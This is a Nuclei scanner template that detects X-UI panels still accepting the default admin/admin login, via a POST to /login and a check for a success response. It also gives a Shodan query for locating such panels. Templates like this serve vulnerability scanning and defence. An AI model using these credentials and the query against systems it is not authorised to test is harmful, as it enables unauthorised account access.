nuclei-templates/http/default-logins/xui-weak-login.yaml

id: xui-weak-login

info:
  name: X-UI - Default Login
  author: dali
  severity: high
  description: |
    X-UI contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/vaxilu/x-ui
    - https://seakfind.github.io/2021/10/10/X-UI/#:~:text=By%20default%2C%20the%20login%20user,the%20password%20is%20also%20admin%20.
  classification:
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"X-UI Login"
  tags: x-ui,default-login

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    headers:
      content-type: application/x-www-form-urlencoded

    body: "username={{username}}&password={{password}}"
    attack: pitchfork
    payloads:
      username:
        - "admin"
      password:
        - "admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100e1f36784ffef57d558271751b0e7a92bab17976ca7606e37cc01a6952f9c0b14022058f645f21814ae9bc4b00d071c3bd6027ff97c1ddb010526500e0799955827ad:922c64590222798bb761d5b6d8e72950